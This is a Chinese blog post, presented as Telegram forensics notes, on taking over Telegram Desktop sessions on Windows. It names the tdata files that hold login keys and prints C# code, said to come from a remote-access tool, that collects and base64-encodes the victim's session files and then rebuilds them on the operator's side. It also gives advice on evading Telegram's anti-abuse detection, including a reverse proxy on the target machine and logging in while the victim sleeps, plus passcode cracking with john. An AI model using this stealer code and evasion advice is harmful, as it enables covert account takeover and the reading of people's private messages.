Telegram取证相关的记录

本文最后更新于:2024年1月2日 晚上

因为各种原因,接触了一些场景要对Telegram进行信息收集,这里就记录下基本思路,只涉及Windows的官方客户端

1.关于tdata

正常安装的Telegram会安装至 %appdata%\Telegram Desktop,在这个目录中 modules文件夹存放了一个D3D的dll,tdata文件夹存放所有数据,unins000.exe/unins000.dat文件是卸载相关,Updater.exe是升级程序。所以对我们最有意义的就是这个 tdata文件夹。

tdata文件夹中,保存着登录信息及本地缓存的聊天及文件等,主要关注登录信息部分即可

key_datas

保存了解密其他文件的主密钥 localKey

D877F783D5D3EF8Cs

存储了用户的userId,以及此session的通信密钥

D877F783D5D3EF8C/maps

存储了用户的基本信息和一些配置

多用户登录的情况

对于有多个用户登录的Telegram,会有其他类似D877F783D5D3EF8C的存在,根据命名方法可以按照顺序生成为

1
2
3
4
5
6
D877F783D5D3EF8C
A7FDF864FBC10B77
F8806DD0C461824F
C2B05980D9127787
0CA814316818D8F6
……

Session劫持

综上所属,存在 key_datas,D877F783D5D3EF8Cs,D877F783D5D3EF8C/maps三个文件即包含登录使用的所有信息,也就足够进行劫持

对于多用户登录的场景,可以根据情况下载其他用户的对应文件,附此前远控内提取Telegram相关的客户端插件及服务端处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Threading;
using System.Text;

namespace Creeper
{
public static class Program
{
private static readonly string Telegram = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Telegram Desktop");
public static string pluginMain(string[] args)
{
if (!Directory.Exists(Telegram)) return new string[] { "Log", "Not Found Telegram" };
string[] paths =
{
"tdata\\key_datas",
"tdata\\D877F783D5D3EF8Cs",
"tdata\\D877F783D5D3EF8C\\maps",
"tdata\\A7FDF864FBC10B77s",
"tdata\\A7FDF864FBC10B77\\maps",
"tdata\\F8806DD0C461824Fs",
"tdata\\F8806DD0C461824F\\maps",
"tdata\\C2B05980D9127787s",
"tdata\\C2B05980D9127787\\maps",
"tdata\\0CA814316818D8F6s",
"tdata\\0CA814316818D8F6\\maps",
};
StringBuilder sb = new StringBuilder();
foreach (var path in paths)
{
if (File.Exists(Path.Combine(Telegram, path)))
{
sb.Append(path);
sb.Append("-=>");
sb.Append(Convert.ToBase64String(File.ReadAllBytes(Path.Combine(Telegram, path))));
sb.Append("-=>");
}
}
if (sb.Length>0)
{
return new string[] { "telegram", sb.ToString() };
}
return new string[] { "Log", "Not Found Telegram" };
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;

namespace Demo
{
internal class Program
{
static void Telegram(string message)
{
string tempPath = Path.Combine(Application.StartupPath, "Output", "Telegram");
if (!Directory.Exists(tempPath))
{
Directory.CreateDirectory(tempPath);
}
if (!Directory.Exists(tempPath + "\\tdata"))
Directory.CreateDirectory(tempPath + "\\tdata");

if (!Directory.Exists(tempPath + "\\tdata\\D877F783D5D3EF8C"))
Directory.CreateDirectory(tempPath + "\\tdata\\D877F783D5D3EF8C");
if (!Directory.Exists(tempPath + "\\tdata\\A7FDF864FBC10B77"))
Directory.CreateDirectory(tempPath + "\\tdata\\A7FDF864FBC10B77");
if (!Directory.Exists(tempPath + "\\tdata\\F8806DD0C461824F"))
Directory.CreateDirectory(tempPath + "\\tdata\\F8806DD0C461824F");
if (!Directory.Exists(tempPath + "\\tdata\\C2B05980D9127787"))
Directory.CreateDirectory(tempPath + "\\tdata\\C2B05980D9127787");
if (!Directory.Exists(tempPath + "\\tdata\\0CA814316818D8F6"))
Directory.CreateDirectory(tempPath + "\\tdata\\0CA814316818D8F6");

string[] sb = message.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < sb.Length; i++)
{
if (sb[i].Length > 0)
{
try
{
File.WriteAllBytes(Path.Combine(tempPath, sb[i]), Convert.FromBase64String(sb[i + 1]));
}
catch { }
}
i += 1;
}
Process.Start("explorer.exe", tempPath);
}
}
}

获取关键文件后,即可直接使用最新版Telegram客户端exe配合进行登录,如果需要可以直接使用客户端自带的导出功能进行取证

注:去年年底以来,同session多地登录有可能触发TG官方的防滥用机制,所以劫持需谨慎,建议在目标机器上搭建反向代理并通过代理访问劫持的Telegram Session,或者错峰登录在对方休息时结束目标机器Telegram进程并自己本地登录

本地登录密码

很多人会为Telegram设置本地登录密码,可以使用john-the-ripper进行爆破。

1
2
3
python .\run\telegram2john.py "\path\to\Telegram Desktop\tdata\key_datas" > .\tg.hash
#报错的话,不要按照提示安装PyCrypto,改为安装pycryptodome
.\run\john.exe --format=telegram --wordlist=password.txt ./tg.hash

注:报错的话,不要按照提示安装PyCrypto,改为安装pycryptodome

消息记录提取

在劫持Session后有时候不方便使用Telegram的客户端自带的导出,也是为了大批量自动化考虑,可以使用第三方客户端进行消息记录的提取

过程较为复杂,且没有完整优雅的代码实现,就不放成品了,大概思路如下

使用opentele将tdata转为Telethon可用的session,之后进行具体消息提取的实现

提取时可以忽略公开群组及公开频道的消息,可以大幅提高速度

未完待续

……


Telegram取证相关的记录
https://blog.qwqdanchun.com/Telegram_Forensics/
作者
qwqdanchun
发布于
2023年4月15日
更新于
2024年1月2日
许可协议